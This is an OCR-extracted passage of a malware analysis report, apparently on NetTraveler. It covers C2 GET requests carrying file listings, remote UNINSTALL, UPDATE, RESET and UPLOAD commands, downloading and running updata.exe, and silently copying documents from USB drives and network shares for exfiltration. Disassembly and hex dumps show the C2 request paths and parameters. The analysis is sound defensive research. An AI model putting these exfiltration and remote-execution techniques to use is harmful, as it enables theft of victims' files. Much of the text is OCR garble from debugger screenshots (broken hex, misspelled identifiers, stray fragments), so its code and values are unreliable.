from the “C:\” drive and the directories name will be saved as dn (where n=1,2,3, ...) and the files name will
be stored as fn (where n=1,2,3,...), together with filecount (total number of files) and dircount (total number
of directories). All information described will be stored in a new file called

“C:\Windows\SysWOW64\enumfs.ini”:
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= enumfs ini E3 ]

[Computer]
Wame=0EsEToD- 2 NN
Page=1252

T [DESKTOP -2 I

W

dl=Cxy,

dircount=1
El [C:\]
dl=5Becycle _Bin
£1=$WINRE BACEUPF PRRTITION.MLREER

J ot

10 d2=70ed7fdbZededdBesl
i d3=Boot
12 f2=bootmgr

121 £3=B0O0TNXT
1 £4=BOOTSECT .BLE

E d4=Documents and Settings
1c d5=EFS Software

17 f5=eula.1l028.txt
fe=eula.1l031l.txt
£7=eula.1l033.txt
fi=eula.l03c.txt
f9=eula.1040.txt
flO=eula.l04l.txt
fll=eula.l042. txt
fl2=eula. 2052 .txt
fl3i=eula.3082.txt
fld4=glokdata.ini
flE=install.exe
fle=install.ini
fl7=install.res.l028.d11l Figure 69
20 fl2=install.res.1031.4d11
31 flS=install.res.1033.d11
f2l=install.res.1l036.d11
23 f2l=install.res.1040.d11
24 f22=install.res.1041.d11
35 f23=install.res.1042_d11
36 f24=install.res.2052.d11
37 f25=install.res.3082.d11
38 de=logs

=} flc=pagefile.sys
d7=PerfLogs

d8=Program Files
dS=Program Files (xz8¢)
dli=ProgramData
dl1=Pythoni7
dl2=python27-x&4
dl3=Recovery
f27=5tarBurn_log
dl4=Strawberry
fiB=swapfile_sys

[

WM O m

MR NNNNRR
Jd oy i

oo

o

[T Y
b TR

W b

ot

Lo I
oo

=

dl5=8System Volume Information

o

dlé=temp
dl17=Users
fiS=wcredist _bmp
£30=VC_RED.cab
£31=VC RED.MSI
dlE=Windows
dircount=18%8
filecount=31

R R

L

momnooon
L

1 @

oo

TO]

The operation applied to “C:\” drive is recursive and it's applied to each directory (all information will be
appended to enumfs.ini). The following information is added/modified in dnlist.ini:

[EnumTime]
DateTime = scan date
[ScanList]

ScanAll = False

The enumfs.ini file will be transferred to the C2 server via a GET request as before (compressed +
encoded). The filename parameter has the following form: “FileList-<month><day>-<hour><minute>
<second>.ini";
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i L--2e| 10003689 53 push ebx
! e | 100036BA 68 00 01 40 80 push 80400100
1 e | 100036EF 53 push ebx
| ®( 100036C0 53 push ebx
| e | 100036C1 53 push ebx
{ ®| 100036C2 FF 75 FC push dword ptr ss:|[febp-4]
f ®| 10003 6C5 63 E8 Bl 00 10 push Tastuserswi tch'ingcm'patihi11‘t\_.fex.1000ElJ.E8 1000B1ES: "GET"
f &| 100036CA FF 75 10 push dword ptr ss:lfebp+10j
Eﬂ—:—}l FF 15 14 92 00 10 call dumrd ptr ds: [<&HttpOpenRequestA>]
Qe s e S

[ci

P
W

dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOperRequesti>]=<wininet.HttpOpenRequesta>

.text:100036CD0 fastuserswitchingcompatibilityex.d11:$36CD #2ACD

W Doump 1l B4 Dump 2 2 Dump 3 4% Dump 4 4% Dump 5 @ watch1  [v=ILocafl P 0 23%332?3 "GET"
0093D024 | DOA3DITS
Address | Hex S : " | ooezp02¢ | onoooooo
DDA3D978 |2E GE Gt 77|73 69 GE 66|GF 2F 31 31|6E 74 2F GE|newsinto,iint/n i oGO
00A3D988 |65 74 74 72|61 76 65 6C|65 72 2E 61|73 70 3F 68|ettraveler.asp?h e I loOaARaGn
D0A3D998|6F 73 74 69|64 3D 41 32|43 39 41 44|32 46 26 68|0stid=A2C3AD2F&h FnenSna (ROAnTOn
ODA3D9AS | 6F 73 74 BE|61 6D 65 3D |44 45 53 4B|54 4F 50 2D | 0STName=DESKTOP- Briaiie &l \BOGHRaNE
O0AZDIES | 32 N - (S5 GF 73 74|62 70 3D 31 2—&"05‘519‘:'# 0023D03C | 00000400
00A3D9CS |39 32 2E 31|36 38 2E 31|36 34 2E 31|32 38 26 66|92.168.164.123& o
DOA3D9DB| 69 6C 65 GE|61 6D 65 3D |46 69 6C 65 (4C €9 73 74|ilename=FileList E;ﬂ;;gﬂjg ;ggggg;g keenel 32cGerbeocesSHeED
ODA3D9ES | 2D 31 31 32(33 20 30 37|32 39 31 30|2E 69 6E 69|-1123-072910.1ni AR te s BORDaR0G
D0DAD9FS |26 66 69 6C|65 73 74 61|72 74 3D 30|26 66 69 6C|&Tilestart=0D&fil etk
0DADADS |65 74 65 78|74 3D 62 65|67 69 GE 3A|3A 47 77 52| etext=begin::GwR S e
00A3DALS|31 41 69 32|51 7A 65 62|54 67 64 54|6F SA 54 GB|1Ai2QzebTgdTozTk szt
0DA3DA28|58 51 61 43 (69 63 59 54|61 5A 52 36|52 43 4B 55| XQacCiCYTaZRERCKU Biaano o BorRa0te:
ODA3DA38|79 57 56 43|65 55 42 61|4D 63 47 4D |79 53 55 53| yWWCEUBaMiGMySUS b s Gnohte
D0ADA48 |51 54 35 52|51 4D 4A GE|GA 78 69 4D |68 71 4D 71|QTSRQMInjxiMhgMg SHASHE LT BOnESAGH
DOA3DASS|41 74 2D 79|4F 45 6D 51(59 6A 30 68|6A 6F 75 59| AT-yOEMQYjohjouy DS inbe T OoTonn00
DOA3DAGS | 2D 4E 4A 794D SA 76 4F|70 75 4F 6B|6D 78 58 6B|-NIyMZvOpuOkmxXk e D
DDA3DATS |50 6C 36 4A|43 6B 5A 54|47 65 54 47|62 44 4B 4C|P16JCkZTGETGhDKL N hiiet laooaneh
ODA3DABE |69 45 61 54|64 57 54 4E|6C 77 72 GB|GB GE 46 49|iEaTawTNIwrkknFI e biemtde,
00A3DA98| 69 6C 38 68|45 45 68 GB|73 71 6C 41|76 6C 41 67|i18hEERksqIAVIAg o || b e

Figure 70

The server response is expected to contain “Success:”. The attacker is interested in the following types of
files: .doc, .docx, .xls, xlIsx, .txt, .rtf, .pdf (Types parameter from dnlist.ini file). The malicious process tries to
open uenumfs.ini which doesn’t exist at this moment, and then enumerates the files found in
“C:\User<Username>\AppData\Local\Temp\ntvba00.tmp\”. This specific directory will be created by Thread2
and will contain all files which have been selected to be exfiltrated to the C2 server:

50 push eax eax:"C: XB7SW_B 0 xB7SW_C!
8D 85 B8 FC FF FF lea eax,dword ptr ss:[febp-345] X87SW_C1 0 XB87SW_CI
50 push eax enx:’C: XB7SW_SF 0 XB7SW_P
FF 15 B4 90 00 10 Iu'l‘l dword ptr ds:[<aFindFirstfileax] ] e )
BB D8 | mov ebx eax ebx: O\ LR
<

_— S| e— — B R, e ———[1: [esp] 0093EDOC “C
[dword ptr [10009084 <fastuserswitchingcompatibilityex.&FindFirstFileas]=<kernel32.FindFirstFileas 2: [espt4] DO93EF14
3: esprﬂ} 00000000
) ; o : [esp+C] oooo2cac

. text: 10004E29 Tastuserswitchingcompatibilityex.d11: $4E29 #4229

EDOC [ "C:\\Users\

¥% Dump 1 % Dump 2 W% Dump 3 #% Dump 4 @25 Dump 5 & watch 1 le=] Locall P
Address | Hex ASCII -
DO9I3EDOC |43 34 5C 55|73 65 72 73|5C MMM 5C 41 70 70| C: \users NI App

0093EDIC (44 61 74 61|5C 4C 6F 63|61 6C SC 54|65 60 70 5C|Data‘\Local’\Temp)
D093ED2C |6E 74 76 62|61 30 30 2E|74 60 70 5C|2A 2E 2A 00| ntvbalD.tmp\*."*,

Figure 71

Now the process contacts the C2 server again with the parameter “action=getdata”. It expects one of the
following responses: “A2C9AD2F:UNINSTALL”, “A2C9AD2F:UPDATE”, “A2C9AD2F:RESET” or
“A2C9AD2F:UPLOAD” (note that “A2C9AD2F” is the volume serial number extracted a while ago):

0093EF14
00000000
00002C2C
10016758
C|555C3A43

F3Trec7>

"C\A\WINDOWS\\System32'\\enumfs.ini"

53 push ebx e
68 00 01 40 80 push 80400100 X87TW_6 3
53 push ebx
53 push ebx XB75tTatusw
53 push ebx | xe7sw_E ©
50 push eax eax: " /nev fo/1int/r XBTSW_C1 O
68 E8 B1 00 10 push Tastuserswitching patibilityex.1000B1ES 1000B1lES: . XBTSW_SF 0
FF 75 FO ush dword ptr ss:[ebp-10J e
FF 15 14 92 00 10 call Mrd ptr ds:[<aHttpOperRequestA>] | W _
— — P s S =em st  Defaut etrcall
. 1: [esp] O
| dword ptr [ 9214 214 <fastuserswitchingcompatibilityex.dHTTpOpenRequestA>]=awininet, HTTpOpenR equesTA> (22 ,,5,,..
|3‘ e5p+8,
4: esp+C
.text:10003D088 fTastuserswitchingcompatibilityex.d11:%$3D88 #3188 F;_;_
" F . 00CCO008
@Woump1  @pump2 @Hoump3  @oumps4  oumps @ wamhi  bellocall P 55550180 10008168 | -
Address | Hex ASCII » |0093D184| 0093E988 "fnensmfo!nm:fnettrave‘ler aspraction=getdata"”
DO93E9BS | ;Lga_ﬁ_;; 73 69 6E 66|6F 2F 31 31|6E 74 2F 6E|Mnewsinfo/1int/n 3 it
DO93ESCE | 74 74 61 76 65 6C |65 72 2E 61|73 70 3F 61|ettraveler. asp a 00000000
0093E9DS | 63 74 69 GF|6E 30 67 65|74 &4 6] 74|61 00 87 77 crion= getddta 80400100
DO93ESES| 04 F5 73 16 FE FF FF FF| & 00000000
nnascacelna ce a3 nnlan ce an anlEc e EC EClan ca a3 nn
Figure 72

Case 1: (UNINSTALL)

The following registry keys are deleted using RegDeleteKeyA API:
“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Enum”,
“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Parameters”,
“‘HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility\Security”
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and “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\FastUserSwitchingCompatibility”.
Also the process deletes enumfs.ini, dnlist.ini, “C:\WINDOWS\system32\udidx.ini”, uenumfs.ini and stat_t.ini.
One such call is displayed below:

50 push eai eax: “SYSTEM'\\CurrentControlSet Service xs?g‘Csr 0O xB7Sm
53 push ebx
FF D7 €21l edi edi:RegDeletekeya v [E—
T e T e ey T fstdeall)

>

[esp] 80000002
esp+4] 0093EF!

3: [esp+8] 000000
4: [esp+C] ooO0D2C:

7 e P Py P e T T

L TEXT:1000508C fastuserswitchingcompatibilityex.d11:5508C #448C

Wowp:  @oump2 WHoump3  WMDumps  WHoumps @ warchi  (xeliocalf PN
Figure 73
The C2 server is informed that the operation is complete by performing a GET request with
“action=updated” parameter:

S0000002 -
093EFS0 | "SYSTEM\\CurrentControlset)\services'\\FastuserswitchingCompatibility’\Enum™

P T S N R T e e T S e o = XB/IW_2 S (EMPTY) X
XB87TW_4 3 (Empry) il
: gg it XB7TW_6 3 (EmpTy) xl
L] 53
- 53 xE7statusword 0000
- so eaxn: " /newsinfo/iint /nectravel XB7SW_B 0O NxBTSW_C3
- 68 EB B1 00 10 push fastu rgcompatibilityex. 100081E8 1000B1ES: "GET" XNB7SW_C1 O XBTSW_CO
. FF 75 FO ush dword ptr ebp-10§ XB7TSW.SF O X8TSW_P
[ FF 15 14 92 00 10 Iﬁu‘l dword pur ds:[<aHttpOperRequestas] | A= WS- W Y
Ld BT 38 C3 cmp eax, ebx eax: " /newsinfo/11nt/netrravel v =
ol Ry e e R it ol jelcioite
| € >

L i e =
dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOpenfequestAs]=<wininet. Httpopenfequestas

00CCo008
1000B1E8 "G
D093CEAB "/

5 00000000

.Text: 10003088 fastuserswitchingcompatibilityex.d11:$3088 #3188

00CCO008

)| 100081E8 | “GET"

6AB | " /newsinfo/11nt/nettraveler edihostid=A2C9AD2F
0

@oump1  PYoump2  @Hoump3  PWoump4  P4oumps | @ watthi  (xelLocals

ASCIT ]
7|73 69 GE 66|GF 2F 31 31|G6E 74 2F GE|fnewsinfo/Lint/n
65 74 72(61 76 65 BC (65 72 2E 61|73 70 3F 61 ettraveler.asp7a
63 74 €9 €F |6E 30 75 70|64 61 74 65|64 26 68 6F | cTion—updatedsho
73 74 69 64[3D 41 32 43|39 41 44 32|46 00 00 00|stid=A2C9ADIF...
An #7 a3 nnlam ea ns 7zlea £z as anlan ne 3% el e s hinee S

Figure 74
Case 2: (UPDATE)

Same registry keys and files are deleted as described above. Moreover, there is a GET request to the
Command and Control server using “action=datasize” parameter and the HTTP response is supposed to
include “Success:” if everything works smoothly:

53 push ebx : = = S i = RELIR
68 00 01 40 80 push 80400100 X8TTH_€
53 push ebx
53 push ebx x875tat
53 push ebx XB7SW_B
50 push eax eax: " /newsinfo/11nt/nettravel NEBTSW_C
&8 E8 B1 00 10 push fastuserswitchingcompatibilityex.1000B1E8 1000B1E8: “GET" XBTSW_S
FF 75 FOD push dword ptr :febp-10) e Yo
FF 15 14 92 00 10 a1l dword ptr ds:[<aHttpOperRequestA>] ] w |
: 7 e — 2oEs ros memrna s | RN
dword ptr [10009214 <fastuserswitchingcompatibilityex.&HTIpOperRequestA>]=<wininet. HttpipenkequestA> 2 ::g:
3: [esp
4: [esp
.Text:10003088 fastuserswitchingcompatibilityex.dl1:$3D88 #3188 ===
P 00CCO00
Weoump1  @Npump2  @hoump3  WHDump4  Woumps @ watchi  -lloals #4005 her | 100081E8 | "GET"
Addre=s Inex X 0093C41C | " /newsinfo/11int /nettraveler.asp?action=datasize”
'D093CA1C |PE GE GG 77(73 69 GE 66|6F 2F 31 31|6E y ; e
0093C42C |65 74 74 72|61 76 65 6C(65 72 2E 61|73 70 3F 61|ettraveler.aspra DOODOOD0
0093C43C| 63 74 63 6F [6E 3D 64 61|74 61 73 69|7A 65 00 00| crion=datasize.. 80400100
Q093cedc| AR ZZ|00 00 00 0|£0-20 A2 0000 00 90 00| +UiWeres SEerees 00000000

Figure 75
The malware is trying to download a file named updata.exe from the C2 server (this file not available for
analysis, as the C2 server was down at the time of the analysis):

i . 53 push ebx
1 L &8 00 01 40 B0 push 50400100
| . 53 push ebx
0 . 53 push ebx
! . 53 push ebx
g . 50 push eax eax: "/newsinfo/1int/.. /updata
! e 10003080 &3 ES B1 00 10 push Tastuserswitchingcompatibilityex.l000B1ES 1000B1ES: "GET"
| ®( 10003D85 FF 75 FO push dword ptr ss:[febp-10f
B FF 15 14 92 00 10 €all dword ptr ds:[<&HttpOperRequesta>]
p ®( 10003DS8E 3B C3 cmp eax,ebx = - eax: "/newsinfo/11nt/.. /updata
: o| : i o= ol et e e N e il e S b _)
i

dword ptr [10009214 <fastuserswitchingcompatibilityex.&HttpOpenRequestA>]=<wininet.HttpOpenRequesti>

.text:10003D88 fastuserswitchingcompatibilityex.d11:%3D88 #3188

3 DDCCO008

Woumpt  @oump2  WWDump3  Whoump4  Whoumps @ watchi  ellocals gYshTooonmon| 1000RB1ES | "GET"

Hex ASCIT 0093ABEC | 0093C420 | "/newsinfo,/11int/.. /updata.exe”
D033ABFD | 00000000

D0D93C420 |QE GE G5 77|73 69 G6E 66|6F 2F 31 31|6E 74 2F 2E|gnewsinfo/11nt,. ok
0D93C430|2E 2F 75 70|64 61 74 61|2E 65 78 65(00 74 69 &F|./updata.exe.tio Sgg;?EE; gggggggg
D0D93C440|6E 3D 64 61|74 61 73 69 |7A 65 00 00|00 EA 83 77|n=datasize...l.w SN IERLE | SOADET00
DO93C450|00 00 00 00|§0 2D A3 00|00 00 0O 00 s S £ ey

Annararnlan an an anlra AR AR Anlan Aan an anlan aa an A v - 0033AC00] 00000000

Figure 76
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The magic bytes of the downloaded file are compared to “MZ” (the format for executable, DLL files in
Windows) and also it’s looking for “PE” string at a specific offset as well. The downloaded file is saved as
“C:\Windowsl\install.exe” and run by the malicious process:

.text:18@883A5E cmp word ptr [ebp+var_1C], "ZM’
Ltext 10803464 jnz loc_leeazBaA
_ Y
Lol et =
.text:18883A64 cmp word ptr [ebpt+var_18], 'EP’
Ltext:18883A78 jnz loc_1@8@83B9A
- A J
ol i =
Ltext:18883A76 mov eax, [ebptvar_C]
Ltext:18B883A79 cmp eax, [ebp+nNumberOfBytesTolrite]
Ltext:18883A7C jnz loc_1@883B9A
_ Y
@ [ Figure 77
Ltext: 18863432 lea eax, [ebp+Buffer]
Ltext:18883A88 push 184h 3 usize
Ltext:18883A8D push eax 3 lpBuffer
Ltext:18883A8E call ds:GetWindowsDirectoryd
Ltext: 18883494 lea eax, [ebp+Buffer]
Ltext:1B8B3A3A push offset String2 ; "‘\\install.exe"
Ltext:18883A9F push eax ; lpStringl
Ltext: 186683448 call ds:lstrcatA
Ltext:18883AA6 push ebx 3 hTemplateFile
.text:18883AA7 push edi ; dwFlagsandattributes
Ltext:18883AA8 push edi ; dwCreationDisposition
Ltext:18883AA9 push ebx 3 lpSecurityAttributes
Ltext:18B83AAA push ebx ; dwShareMode
Ltext 18863458 lea eax, [ebp+Buffer]
.text:18883AB1 push Apaaa808h ; dwDesiredAccess
.text:18883AB6 push eax ; lpFileName
.text:18883AB7 call ds:CreateFileA

The same request as in Figure 74 is performed once more in order to keep the server in the loop for every
new step.

Case 3: (RESET)

The following files are deleted: enumfs.ini, dnlist.ini, “C:\WINDOWS\system32\udidx.ini”, uenumfs.ini and
stat_t.ini. Same request displayed in Figure 74 is used to contact the C2 server (this step is done in every
case).

Case 4: (UPLOAD)
This case is identical to Case 2 (UPDATE) with the difference that no files/registry keys are deleted.

After the execution flow passes all cases, the process sleeps for 60 seconds and then it goes back in the
loop.

Thread2 activity

RegisterClassA function is used to register a window class for use in CreateWindow/CreateWindowEXx calls,
it creates a windows using CreateWindowExA (windows class name is “NTMainWndClass”, 0x80000000 —
WS_POPUP style). Also, the window procedure used in RegisterClassA API call (sub_10004535) is called 5
times as follows (one for each type of message): 0x81 (WM_NCCREATE), 0x83 (WM_NCCREATE), 0x01
(WM_CREATE), 0x05 (WM_SIZE) and 0x03 (WM_SIZE). We should also mention the following calls:
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ShowWindow (Sets the specified window’s show state), UpdateWindow (it sends a WM_PAINT message to

the window), GetMessage (gets a message from the calling thread’s message queue) and
TranslateMessage (translates messages into character messages):

The malware is interested in WM_DEVICECHANGE (0x219) messages with a parameter of
DBT_DEVICEARRIVAL (0x8000) which means that for example a new USB drive has been plugged in or a

text:198845E2 mov edi, offset ClassName ; "NTMainkndClass"
Ltext:188845E7 push eax 3 lpWndClass
Ltext: 108045E8 mov [ebptindClass. style], esi
.text:188845E8 mov [ebp+indClass. lpfnkndProc], offset sub_ 18884535
Ltext:108845F2 mov [ebpH¥ndClass.cbClsExtra], esi
Ltext: 108045F5 mov [ebptindClass. chidndExtra], esi
Ltext:188845F8 mov [ebp+indClass.hInstance], esi
ctext:1868845F8 mov [ebp+indClass.hIcon], esi
Ltext:108045FE mov [ebpH¥ndClass.hCursor], esi
Ltext: 18884681 mov [ebp+indClass.hbrBackground], esi
ctext: 18684684 mov [ebp+indClass. lpszMenulame], esi
Ltext: 10004687 mov [ebpHdndClass. lpszClassName], edi
Ltewt: 10884684 call ds:RegisterClassA
Lext: 16084618 test ax, ax
Jtext:10884613 jz short loc_1080467E
: L J
=]
Ltext:18884615 push esi 3 lpParam
.text:18884616 push esi 3 hInstance
text:188084617 push esi ; hMenu
LText:18884618 mov eax, SPBAEEABH
.text:18884610 push esi ; hWndParent
text:1888461E push eax 3 nNHeight
Jtext:1888461F push eax 3 nNWidth
.text:18884628 push esi Y
.text:18884621 push esi 5
Jtext:18884622 push eax ; dwstyle
.text:18884623 push esi 3 lpWindowName
Ltext:18884624 push edi 3 lpClasshame
Jtext:188084625 push esi ; dwExstyle
Ltext:18884626 call ds:CreateWindowExA
Ltext:1888462C mov edi, eax
text:1800462E cmp edi, esi
text:lBead4638 jz short loc_1888467E

il e =

| |.text

Jext:
ext:
text:
ewt:
Sext:
Jext:
dewt:
Jext:
Sewt:

1eea4632 push esi
18884633 push edi
leeB4634 call ds:5
leeads3s push edi
18884638 call ds:U
188684641 mov edi,
leeadsd? push esi
lea84648 push esi
188684649 lea 2ax,

:1888464C push esi

3 nCmdShow
3 hund
howidindow
; hund
pdateWindow
ds:GetMessaged
; wMsgFilterMax
5 wMsgFilterMin
[ebp+isg]

: hind |

network shared folder is mounted on the system:

Figure 78
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55 push ebp

8B EC mov ebp,esp
83 EC 20 sub esp,2(
81 7D OC 19 02 00 00 cmp dword ptr ss:|febp+Cl, 219
56 push esi
57 push edi
88 7D 14 mov edi,dword ptr :f.:{c.’:p-,-'-a
v 75 76 jne fastuserswitchingcompatibilityex.100045BF
81 7D 10 00 80 0O 00 cmp dword ptr ss:[ebp:ii0],8000
>
rd ptr ptr 10]=[D0AFEFBE] =8000

.TeXT:10004549 fastuserswitchingcompatibilityex.d11:54549 #3949

10004535 | Tastuserswitchingcompatibilityex.10004535

Woump1  oump2 Wloump3  @WDump4  @houmps M watch1i  Irellocals ) Struct 003705E4 |

‘Address | Hex [AscTr Ta £ g:ggggi‘;'
ODAFEFAS (R4 EF AF 0OIRA EQ B2 7G|E4 05 37 00|19 02 00 O0|OT . »R*VA.7..... . DOAFEFEC
OOAFEFBS [B0N8A) 00 00|00 00 00 00|E4 05 37 00|CD AB BA DC|SM......a.7.T«s( O e G

Figure 79

“USearch” and “UTypeLimit” values parsed from dnlist.ini are expected to be set to “True”, also “UAuto”
value is “False” in dnlist.ini (this could indicate if the exfiltration of the targeted files should be automatically
or not). The attacker is also interested in “Types” parameter (the targeted extensions) and we’ll see why in a
bit. The idea is to scan each and every device inserted and also the network shares mounted on the host
and create a “file system” structure in uenumfs.ini file (as it did in Thread1):

= uenumis ini E3 |
il |[Co:rnp1.1ter~]
2 Wame=nzsETor-JEENG
= Page=1252
4 roEsxror- I
5 le=ﬂr‘~ Figure 80
€ dircount=1
7 [A:N]
=] dl=fRecycle.Bin
<, £1=3WINRE BACKUP PARTITICH.MARKER
10 filecount=1
11 dircount=1

As in the first case, this search will apply for every directory found on the drive, recursively. The process
creates a “C:\Users\<Username>\AppData\Local\Temp\ntvba00.tmp\” directory and its attribute is set to
hidden. The following file is also created: “C:\Windows\SysWOW64\uenumfs.ini” (the content of it will be
similar to enumfs.ini):

i . 64 00 push 3 | XE7TW_4 3
| . 56 push esi lesi:“c:\\users\ I \Appoata\ ' Local XBTTW_6 3
F———e FF 15 E8 90 00 1O call dword ptr ds:[<&CreateDirectorya>] |
' . 85 CO test eax,eax XB7Status
i . v 74 0B je fastuserswitchingcompatibilityex.10004CAC XBTSW_E
. 64 06 push & X875W_C1
- 56 push es1 |esi:c:\\users' I Apppata:\Local
. FF 15 EQ 90 00 10 €8l dword ptr ds:[<&SetFileAttributesas] |
(] » EB 11 jmeﬁfastusersuft:mngcnrnpatib1'1ityqx..‘.oonacau |
B Ee a2t niianan e e e e L
. A, T

- TexT:10004C97 fastuserswitchingcompatibilityex.d11:54C97 #4097
&% Dump 1 ¥% Dump 2 &% Dump 3 B8 Dump 4 &% Dump 5 B watch 1 =] Locals _;' Struct

Figure 81
For each file found on the USB drive/network share, the process compares it's extension with the list
mentioned before: .doc, .docx, .xls, .xlIsx, .txt, .rif, .pdf:

50 push eax eax:”,doc,docx,x1s

8D B85 4C F6 FF FF Tea eax,dword ptr ss:[febp-384)

50 push eax eax:",doc,docx,x1s,x1sx, €
FF 15 B4 91 00 10 | €all dword ptr ds:[<&strstr>]

] <« >
o
dword ptr [100091B4 <fastuserswitchingcompatibilityex.&strstr>]=<msvert.strstr>

.text:10004902 Tastuserswitchingcompatibilityex.d11:54202 #3D02

QOAFE360
O0AFE25C

200C, G0CK, X15, X 15X, TXE,FTF ,paT, "
" marker,"

@oump1  pump2  @pump3  @pump4  EpDumps @ wath1  be=llocals P Struct

Figure 82

Let’s suppose that “C:\eula.1028.txt” (for the sake of simplicity) is a targeted file. The malware calculates a
hash (MD5) of a combination between the filename and last modified timestamp (please note the initialize
variables which correspond to MD5 algorithm):
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Eg— EB 27 F5 FF FF II:n‘I‘I fastuserswitchin compatibilityex.10007EAF
. 8D B85 74 FF FF FF Tea eax,dword ptr ss:febp-5Cj)
. 8B CE mov ecx,esi
. 50 | push eax
. 8D 45 FO lea eax,dword ptr ss:[febp-10§
. 50 push eax
. E8 BE F5 FF FF €d11 fastuserswitchingcompatibilityex.10007F58
- 33 FF | xor edi,edi
. 8D 75 CC | 1ea esi,dword ptr :'-.[e.,..-'. ]_
. >
fastuserswitchingcompatibilityex. 10007EAF
.Text: 10008983 fastuserswitchingcompatibilityex.d11:$58983 #7D83
e D 1 .. L] 4 an ‘gn 5) ODAFE1B8
GW0ump 1l PYDump2 WWDump3  WDump4  BDumpS B Watchl  Ivsllocals ' Stuct [GDAFEIAS|OOAFE464 | MelTas 1028 EXE Z007=11=07 125005 405000"
| address | Hex laseTT I 1 .| 00AFELAC | 0000DO2S

Figure 83

M

Ltext:18ea7ESS

text:18ea7ESS

text:18eavESS

.text:188B7EBS sub_1BBBJEBS proc near
Ltext:18eavESS

Ltext:18807EES arg_@= dword ptr 4
Ltext:1BeavESS

.text:18887E85 mov eax, [esptarg_8] ;
text:18887EE9 and dword ptr [eax+l4h], @ Figure 84
Jtext:18887EBD and dword ptr [eax+leh], @

Ltext:18887E91 mov dword ptr [eax], 67452381h

text:18887E97 mov dword ptr [eax+4], @EFCDABB9h
text:18887EIE mov dword ptr [eax+8], 98BADCFEh
Ltext:18887EAS mov dword ptr [eax+8Ch], 18325476h

et 18BB7EAC retn 4
Jtext:18887EAC sub_18887ESS endp
Lewt:1eea7EAC

After the function is finished the following result will represent the hash (unique identifier) corresponding to
eula.1028.ixt file:

Address | Hex ASCIT

OOAFEZL0|35 66 37 61|37 38 65 37|39 32 37 35|33 32 62 61|5Trarsergzrsszbaligure 85
OOAFE220(32 61 39 33|30 65 63 38|64 34 37 65(32 35 32 61(2a330ec8d47e252a

Now “C:\eula.1028.txt” is copied to “C:\Users\<Username>\AppData\Local\Temp\ntvba00.tmp\U2007-11-07-
12-00-5f7a78e7927532ba2a930ec8d47e252a.txt” (hidden file) — 2007 (year), 11 (month), 07 (day), 12
(hour), 00 (minute), 5f7a78e7927532ba2a930ec8d47e252a is the hash computed above (all values
correspond to last modified timestamp):

[ push xBTSTatusword 0020

50 push eax XBTSW_ B O x87TSW C3 O
BD BS GC FB FF FF lea eaw,dword ptr ss:[febp-794) XB7SW €1 O xs"ss\_cn o
50 push eax . 1
FF 15 E4 90 00 10 |€all dword ptr ds:[<4CopyFileas] | i s e
B85 C test eax,eax 3 -

PC] 76528E60 <msv
p+iD] 76524580 <ms

.text: 10004440 fastuserswitchingcompatibilityex. d]‘l s4»\-ﬁD l:EdD

OOAFESS0 | "C: \\au‘la TXT"

%% Dump 1 &% Dump 2 5| DOAFESSC | "C:\\Users', ‘\“AppData\'Local'\Temp'\ntvba0D. tmp\\U2007-11-07-12-00-5F7a78e7927532baza930ec8d47e25 2a. txt"

| Address | Hex

Figure 86
The process creates “C:\Windows\SysWOW®64\udidx.ini” file and will add all hashes computed as explained
before:

C | 00000000

68 50 B3 00 10 push fastuserswitchingcompatibilityex. 10008350
0

5 push eax eax:"sfrarger9s27532bazas30ecBd47els
57 push edi edi: "Index’

FF 15 AQ 90 00 10 €all dword ptr ds:[<éwritePrivateProfilestringas] |

FF 05 g€ 70 01 10 inc dword ptr ds:[1002706C]

‘dword ptr [10005040 Idhstu's'ér'.ﬁni'tc’h‘ihé'cm’ tibilityex, &writePrivateProfilestringa>]=<kernel3z.writePrivatefrofilestringa>

.Text:10004A78 fastuserswitchingcompatibilityex.d11:$4A78 #3E78

o

Index
"sfra7Ber9zv53zbazad3necBd47ezs2a”

@Wourp1l  YYoump2  WYDump3  UHDump4  WDumps  @watcht  Delloks ) Stuct e

Address | Hex ASCII 10008350 fastusersw1tch1nucompat1b1'|1tyex 10008350
1000B8350 |84 00 DO 00125 73 5C 73179 73 74 65|60 5C 63 Eﬂl.,.‘;s':s\-slcﬂ'.cbl €3 \\WINDOWS\\system32\\udidx, ini”
Figure 87

Last modified timestamp of the new file is set as the value extracted from the initial file:
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General Securty Detaile  Previous Viersions

ﬁf U2007-11-07-12-00-5f7a78e7927332ba2a930ecddd7e25... X

| 7-12-00-5f7a78e 792753 2ba2ad30ecddd 7e252a it

Typeoffle:  TXT Fle (1)
Openswith: [ Notepads++ : a free (GN [ Change...

Location:

Sze:

17.3 KB (17,734 bytes)

See ondisk:  20.0 KB (20,480 bytes)

CoUsers I AppData' Local Temp ntvba0.tmp

Modified:

Created: Today, November 23, 2020, 9 minutes ago

‘Wednesday, November 7, 2007, 7.00:40 AM

Apocessed: Today, November 23, 2020, 9 minutes ago
Attibutes: [ ]Readonly [ ] Hidden ' Advanced... |
oo | [ i

An example of udidx.ini file after copying all document-related files is shown in the figure below:

B i 3 |

I B [Inde:x]

2 5f7aT8e7527532ba2a%30ec8d47e252a=1
3 28051bk8EkET7e75ce323f%ac3130b9E£2de=1
4 3lcd4c5£f0e5ab51df3305927a57047Tedd=1
5 5£ff15da%0ea®dl7cc89935520083€050b=1
[ Tc355%2c0b232d5%50ae€1531454e0d10e=1
T cb55b8cdb5a5ddae8578ebTadlef72ce=1
=] £528€c0d3583£7e3eb9fbecci3d9555d=1
o 45kbck3400ekbe444ecl44€eaci505b0kL5=1
1 5d4335%2aele3adclabbadl fkbdkbcSe33e5=1
R =

Finally the file is using DefWindowProcA API to ensure that window messages the application does not
process have a default processing function (WM_DEVICECHANGE - 0x219, DBT_DEVICEARRIVAL —

0x8000):
- T
FF 75 10
EF 75 0OC
FF 75 08
R FF 15 EO 91 00 10
ptr [100091E0 <fastuserswitchingcompat Tyex.&NT

Figure 89

push dword ptr s
call dword ptr

det

! bp

Figure 88

ebp+10J
ebp+C

rOC_A>]m<nt «NT

W0umpl  Dump2 P Dump3 @S Dump4 BN DumpS

& Wwatch 1 Ir=llocals 57 Struct
Address [wex JAscor _|
Figure 90
References

Kaspersky report: https://media.kasperskycontenthub.com/wp-

Al

